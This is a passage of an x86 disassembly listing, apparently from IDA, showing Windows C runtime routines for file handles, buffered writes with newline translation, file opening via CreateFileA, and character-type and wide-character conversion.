		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4D9A20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41F145
		cmp	dword_43AB74, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41F13B
		sub	eax, 0
		jz	short loc_41F132
		dec	eax
		jz	short loc_41F12D
		dec	eax
		jnz	short loc_41F13B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41F135
; ---------------------------------------------------------------------------


loc_41F12D:				; CODE XREF: sub_41F0E5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41F135
; ---------------------------------------------------------------------------


loc_41F132:				; CODE XREF: sub_41F0E5+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41F135:				; CODE XREF: sub_41F0E5+46j
					; sub_41F0E5+4Bj
		call	dword_42302C	; SetStdHandle


loc_41F13B:				; CODE XREF: sub_41F0E5+36j
					; sub_41F0E5+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41F159
; ---------------------------------------------------------------------------


loc_41F145:				; CODE XREF: sub_41F0E5+Cj
					; sub_41F0E5+28j
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9
		or	eax, 0FFFFFFFFh


loc_41F159:				; CODE XREF: sub_41F0E5+5Ej
		pop	edi
		pop	esi
		retn
sub_41F0E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F15C	proc near		; CODE XREF: sub_419DC2+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4D9B20
		push	edi
		jnb	short loc_41F1BF
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4D9A20h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41F1BF
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F1BF
		cmp	dword_43AB74, 1
		jnz	short loc_41F1B5
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41F1AC
		dec	ecx
		jz	short loc_41F1A7
		dec	ecx
		jnz	short loc_41F1B5
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41F1AF
; ---------------------------------------------------------------------------


loc_41F1A7:				; CODE XREF: sub_41F15C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41F1AF
; ---------------------------------------------------------------------------


loc_41F1AC:				; CODE XREF: sub_41F15C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41F1AF:				; CODE XREF: sub_41F15C+49j
					; sub_41F15C+4Ej
		call	dword_42302C	; SetStdHandle


loc_41F1B5:				; CODE XREF: sub_41F15C+38j
					; sub_41F15C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41F1D3
; ---------------------------------------------------------------------------


loc_41F1BF:				; CODE XREF: sub_41F15C+Cj
					; sub_41F15C+2Aj ...
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9
		or	eax, 0FFFFFFFFh


loc_41F1D3:				; CODE XREF: sub_41F15C+61j
		pop	edi
		pop	esi
		retn
sub_41F15C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F1D6	proc near		; CODE XREF: sub_419DC2+32p
					; sub_419DC2+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4D9B20
		jnb	short loc_41F1FE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4D9A20[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41F1FE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41F1FE:				; CODE XREF: sub_41F1D6+Aj
					; sub_41F1D6+23j
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41F1D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F213	proc near		; CODE XREF: sub_419EA0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4D9B20
		jnb	short loc_41F25C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4D9A20[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41F25C
		push	eax
		call	sub_41F1D6
		pop	ecx
		push	eax
		call	dword_423028	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41F251
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_41F253
; ---------------------------------------------------------------------------


loc_41F251:				; CODE XREF: sub_41F213+34j
		xor	eax, eax


loc_41F253:				; CODE XREF: sub_41F213+3Cj
		test	eax, eax
		jz	short locret_41F269
		mov	dword_4D86D4, eax


loc_41F25C:				; CODE XREF: sub_41F213+Aj
					; sub_41F213+22j
		mov	dword_4D86D0, 9
		or	eax, 0FFFFFFFFh

locret_41F269:				; CODE XREF: sub_41F213+42j
		retn
sub_41F213	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F26A	proc near		; CODE XREF: sub_419EDB+2Cp
					; sub_41B06F+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4D9B20
		push	esi
		push	edi
		jnb	loc_41F3FE
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4D9A20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41F3FE
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41F2BB


loc_41F2B4:				; CODE XREF: sub_41F26A+177j
		xor	eax, eax
		jmp	loc_41F412
; ---------------------------------------------------------------------------


loc_41F2BB:				; CODE XREF: sub_41F26A+48j
		test	al, 20h
		jz	short loc_41F2CB
		push	2
		push	edi
		push	ecx
		call	sub_41E1E3
		add	esp, 0Ch


loc_41F2CB:				; CODE XREF: sub_41F26A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41F39A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41F3D2


loc_41F2EB:				; CODE XREF: sub_41F26A+F5j
		lea	eax, [ebp+var_414]


loc_41F2F1:				; CODE XREF: sub_41F26A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41F325
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41F310
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41F310:				; CODE XREF: sub_41F26A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41F2F1


loc_41F325:				; CODE XREF: sub_41F26A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jz	short loc_41F38F
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41F361
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41F2EB


loc_41F361:				; CODE XREF: sub_41F26A+EAj
					; sub_41F26A+12Ej
		xor	edi, edi


loc_41F363:				; CODE XREF: sub_41F26A+150j
					; sub_41F26A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41F3F9
		cmp	[ebp+arg_0], edi
		jz	short loc_41F3D2
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41F3C7
		mov	dword_4D86D0, 9
		mov	dword_4D86D4, eax
		jmp	loc_41F40F
; ---------------------------------------------------------------------------


loc_41F38F:				; CODE XREF: sub_41F26A+E0j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41F361
; ---------------------------------------------------------------------------


loc_41F39A:				; CODE XREF: sub_41F26A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jz	short loc_41F3BC
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41F363
; ---------------------------------------------------------------------------


loc_41F3BC:				; CODE XREF: sub_41F26A+145j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41F363
; ---------------------------------------------------------------------------


loc_41F3C7:				; CODE XREF: sub_41F26A+10Fj
		push	[ebp+arg_0]
		call	sub_41BEC4
		pop	ecx
		jmp	short loc_41F40F
; ---------------------------------------------------------------------------


loc_41F3D2:				; CODE XREF: sub_41F26A+7Bj
					; sub_41F26A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41F3E7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41F2B4


loc_41F3E7:				; CODE XREF: sub_41F26A+16Fj
		mov	dword_4D86D0, 1Ch
		mov	dword_4D86D4, edi
		jmp	short loc_41F40F
; ---------------------------------------------------------------------------


loc_41F3F9:				; CODE XREF: sub_41F26A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41F412
; ---------------------------------------------------------------------------


loc_41F3FE:				; CODE XREF: sub_41F26A+15j
					; sub_41F26A+37j
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9


loc_41F40F:				; CODE XREF: sub_41F26A+120j
					; sub_41F26A+166j ...
		or	eax, 0FFFFFFFFh


loc_41F412:				; CODE XREF: sub_41F26A+4Cj
					; sub_41F26A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F26A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F417	proc near		; DATA XREF: nsp0:00425028o
		mov	eax, dword_4D9A00
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41F42B
		mov	eax, 200h
		jmp	short loc_41F431
; ---------------------------------------------------------------------------


loc_41F42B:				; CODE XREF: sub_41F417+Bj
		cmp	eax, esi
		jge	short loc_41F436
		mov	eax, esi


loc_41F431:				; CODE XREF: sub_41F417+12j
		mov	dword_4D9A00, eax


loc_41F436:				; CODE XREF: sub_41F417+16j
		push	4
		push	eax
		call	sub_4208E1
		pop	ecx
		mov	dword_4D89E0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41F46A
		push	4
		push	esi
		mov	dword_4D9A00, esi
		call	sub_4208E1
		pop	ecx
		mov	dword_4D89E0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41F46A
		push	1Ah
		call	sub_419D79
		pop	ecx


loc_41F46A:				; CODE XREF: sub_41F417+30j
					; sub_41F417+49j
		xor	ecx, ecx
		mov	eax, offset off_43B278


loc_41F471:				; CODE XREF: sub_41F417+6Ej
		mov	edx, dword_4D89E0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43B4F8
		jl	short loc_41F471
		xor	edx, edx
		mov	ecx, offset dword_43B288


loc_41F48E:				; CODE XREF: sub_41F417+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4D9A20[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F4AB
		test	eax, eax
		jnz	short loc_41F4AE


loc_41F4AB:				; CODE XREF: sub_41F417+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41F4AE:				; CODE XREF: sub_41F417+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43B2E8
		jl	short loc_41F48E
		pop	esi
		retn
sub_41F417	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4BC	proc near		; DATA XREF: nsp0:00425038o

; FUNCTION CHUNK AT 0042095E SIZE 00000058 BYTES

		call	sub_419F37
		cmp	byte_4D8710, 0
		jz	short locret_41F4CF
		jmp	loc_42095E
; ---------------------------------------------------------------------------

locret_41F4CF:				; CODE XREF: sub_41F4BC+Cj
		retn
sub_41F4BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4D0	proc near		; CODE XREF: sub_41AB28+32p
					; sub_41B06F+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4D88B4
		push	1000h
		call	sub_417A2B
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41F4F9
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41F50A
; ---------------------------------------------------------------------------


loc_41F4F9:				; CODE XREF: sub_41F4D0+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41F50A:				; CODE XREF: sub_41F4D0+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F4D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F514	proc near		; CODE XREF: sub_41AE12+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41F53A
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41F545
; ---------------------------------------------------------------------------


loc_41F53A:				; CODE XREF: sub_41F514+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41F545:				; CODE XREF: sub_41F514+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41F55F
		test	ch, 40h
		jnz	short loc_41F55B
		cmp	dword_4D89C0, eax
		jz	short loc_41F55F


loc_41F55B:				; CODE XREF: sub_41F514+3Dj
		or	[ebp+var_1], 80h


loc_41F55F:				; CODE XREF: sub_41F514+38j
					; sub_41F514+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41F597
		dec	eax
		jz	short loc_41F58E
		dec	eax
		jz	short loc_41F585


loc_41F570:				; CODE XREF: sub_41F514+9Fj
					; sub_41F514+E8j ...
		mov	dword_4D86D0, 16h
		mov	dword_4D86D4, ebx
		jmp	loc_41F7AA
; ---------------------------------------------------------------------------


loc_41F585:				; CODE XREF: sub_41F514+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41F59E
; ---------------------------------------------------------------------------


loc_41F58E:				; CODE XREF: sub_41F514+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41F59E
; ---------------------------------------------------------------------------


loc_41F597:				; CODE XREF: sub_41F514+54j
		mov	[ebp+var_C], 80000000h


loc_41F59E:				; CODE XREF: sub_41F514+78j
					; sub_41F514+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41F5CC
		cmp	eax, 20h
		jz	short loc_41F5C3
		cmp	eax, 30h
		jz	short loc_41F5BA
		cmp	eax, 40h
		jnz	short loc_41F570
		mov	[ebp+var_10], esi
		jmp	short loc_41F5CF
; ---------------------------------------------------------------------------


loc_41F5BA:				; CODE XREF: sub_41F514+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41F5CF
; ---------------------------------------------------------------------------


loc_41F5C3:				; CODE XREF: sub_41F514+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41F5CF
; ---------------------------------------------------------------------------


loc_41F5CC:				; CODE XREF: sub_41F514+90j
		mov	[ebp+var_10], ebx


loc_41F5CF:				; CODE XREF: sub_41F514+A4j
					; sub_41F514+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41F619
		jz	short loc_41F614
		cmp	ecx, ebx
		jz	short loc_41F614
		cmp	ecx, edi
		jz	short loc_41F60B
		cmp	ecx, 200h
		jz	short loc_41F632
		cmp	ecx, 300h
		jnz	loc_41F570
		mov	[ebp+var_8], 2
		jmp	short loc_41F642
; ---------------------------------------------------------------------------


loc_41F60B:				; CODE XREF: sub_41F514+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41F642
; ---------------------------------------------------------------------------


loc_41F614:				; CODE XREF: sub_41F514+D0j
					; sub_41F514+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41F642
; ---------------------------------------------------------------------------


loc_41F619:				; CODE XREF: sub_41F514+CEj
		cmp	ecx, 500h
		jz	short loc_41F63B
		cmp	ecx, 600h
		jz	short loc_41F632
		cmp	ecx, edx
		jz	short loc_41F63B
		jmp	loc_41F570
; ---------------------------------------------------------------------------


loc_41F632:				; CODE XREF: sub_41F514+E0j
					; sub_41F514+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41F642
; ---------------------------------------------------------------------------


loc_41F63B:				; CODE XREF: sub_41F514+10Bj
					; sub_41F514+117j
		mov	[ebp+var_8], 1


loc_41F642:				; CODE XREF: sub_41F514+F5j
					; sub_41F514+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41F661
		mov	ecx, dword_4D86D8
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41F661
		push	1
		pop	esi


loc_41F661:				; CODE XREF: sub_41F514+138j
					; sub_41F514+148j
		test	al, 40h
		jz	short loc_41F66F
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41F66F:				; CODE XREF: sub_41F514+14Fj
		test	ah, 10h
		jz	short loc_41F676
		or	esi, edi


loc_41F676:				; CODE XREF: sub_41F514+15Ej
		test	al, 20h
		jz	short loc_41F682
		or	esi, 8000000h
		jmp	short loc_41F68C
; ---------------------------------------------------------------------------


loc_41F682:				; CODE XREF: sub_41F514+164j
		test	al, 10h
		jz	short loc_41F68C
		or	esi, 10000000h


loc_41F68C:				; CODE XREF: sub_41F514+16Cj
					; sub_41F514+170j
		call	sub_41F050
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41F6AD
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 18h
		jmp	short loc_41F6EB
; ---------------------------------------------------------------------------


loc_41F6AD:				; CODE XREF: sub_41F514+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4230EC	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41F6DE
		push	esi
		call	dword_423030	; GetFileType
		test	eax, eax
		jnz	short loc_41F6F2
		push	esi
		call	dword_423068	; CloseHandle


loc_41F6DE:				; CODE XREF: sub_41F514+1B6j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		call	sub_41BEC4
		pop	ecx


loc_41F6EB:				; CODE XREF: sub_41F514+197j
		mov	eax, edi
		jmp	loc_41F7C8
; ---------------------------------------------------------------------------


loc_41F6F2:				; CODE XREF: sub_41F514+1C1j
		cmp	eax, 2
		jnz	short loc_41F6FD
		or	[ebp+var_1], 40h
		jmp	short loc_41F706
; ---------------------------------------------------------------------------


loc_41F6FD:				; CODE XREF: sub_41F514+1E1j
		cmp	eax, 3
		jnz	short loc_41F706
		or	[ebp+var_1], 8


loc_41F706:				; CODE XREF: sub_41F514+1E7j
					; sub_41F514+1ECj
		push	esi
		push	ebx
		call	sub_41F0E5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4D9A20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41F7AF
		test	al, 80h
		jz	short loc_41F7AF
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41F7AF
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41F764
		cmp	dword_4D86D4, 83h
		jz	short loc_41F7AF
		jmp	short loc_41F7A3
; ---------------------------------------------------------------------------


loc_41F764:				; CODE XREF: sub_41F514+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41AC01
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F791
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41F791
		push	[ebp+var_10]
		push	ebx
		call	sub_4209B6
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41F7A3


loc_41F791:				; CODE XREF: sub_41F514+265j
					; sub_41F514+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F7AF


loc_41F7A3:				; CODE XREF: sub_41F514+24Ej
					; sub_41F514+27Bj
		push	ebx
		call	sub_419DC2
		pop	ecx


loc_41F7AA:				; CODE XREF: sub_41F514+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F7C8
; ---------------------------------------------------------------------------


loc_41F7AF:				; CODE XREF: sub_41F514+221j
					; sub_41F514+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41F7C6
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41F7C6
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41F7C6:				; CODE XREF: sub_41F514+29Fj
					; sub_41F514+2A5j
		mov	eax, ebx


loc_41F7C8:				; CODE XREF: sub_41F514+1D9j
					; sub_41F514+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F514	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7CD	proc near		; CODE XREF: sub_41AFFA+5Ep
					; sub_41BBCD+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423C10
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4D88BC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41F83C
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_423900
		push	esi
		call	dword_423020	; GetStringTypeW
		test	eax, eax
		jz	short loc_41F81A
		mov	eax, esi
		jmp	short loc_41F837
; ---------------------------------------------------------------------------


loc_41F81A:				; CODE XREF: sub_41F7CD+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4C96C8
		push	esi
		push	ebx
		call	dword_423024	; GetStringTypeA
		test	eax, eax
		jz	loc_41F902
		push	2
		pop	eax


loc_41F837:				; CODE XREF: sub_41F7CD+4Bj
		mov	dword_4D88BC, eax


loc_41F83C:				; CODE XREF: sub_41F7CD+2Fj
		cmp	eax, 2
		jnz	short loc_41F865
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41F84D
		mov	eax, dword_4D8788


loc_41F84D:				; CODE XREF: sub_41F7CD+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_423024	; GetStringTypeA
		jmp	loc_41F904
; ---------------------------------------------------------------------------


loc_41F865:				; CODE XREF: sub_41F7CD+72j
		cmp	eax, 1
		jnz	loc_41F902
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41F87B
		mov	eax, dword_4D8798
		mov	[ebp+arg_10], eax


loc_41F87B:				; CODE XREF: sub_41F7CD+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_423164	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41F902
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417AA0
		add	esp, 0Ch
		jmp	short loc_41F8D1
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41F8D1:				; CODE XREF: sub_41F7CD+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41F902
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_423164	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41F902
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_423020	; GetStringTypeW
		jmp	short loc_41F904
; ---------------------------------------------------------------------------


loc_41F902:				; CODE XREF: sub_41F7CD+61j
					; sub_41F7CD+9Bj ...
		xor	eax, eax


loc_41F904:				; CODE XREF: sub_41F7CD+93j
					; sub_41F7CD+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F7CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F916	proc near		; CODE XREF: sub_41B06F+61p
					; sub_41BF2B+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4D9B20
		jb	short loc_41F925
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41F925:				; CODE XREF: sub_41F916+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4D9A20[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41F916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F93C	proc near		; CODE XREF: sub_41B184+2D4p
					; sub_41B184+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41F948
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F948:				; CODE XREF: sub_41F93C+8j
		cmp	dword_4D8788, 0
		jnz	short loc_41F963
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41F995
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F963:				; CODE XREF: sub_41F93C+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43AD8C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4D8798
		call	dword_423160	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41F995
		cmp	[ebp+arg_0], 0
		jz	short loc_41F9A2


loc_41F995:				; CODE XREF: sub_41F93C+1Ej
					; sub_41F93C+51j
		mov	dword_4D86D0, 2Ah
		or	eax, 0FFFFFFFFh


loc_41F9A2:				; CODE XREF: sub_41F93C+57j
		pop	ebp
		retn
sub_41F93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9A4	proc near		; CODE XREF: sub_41BFF5+6A3p

arg_0		= dword	ptr  8
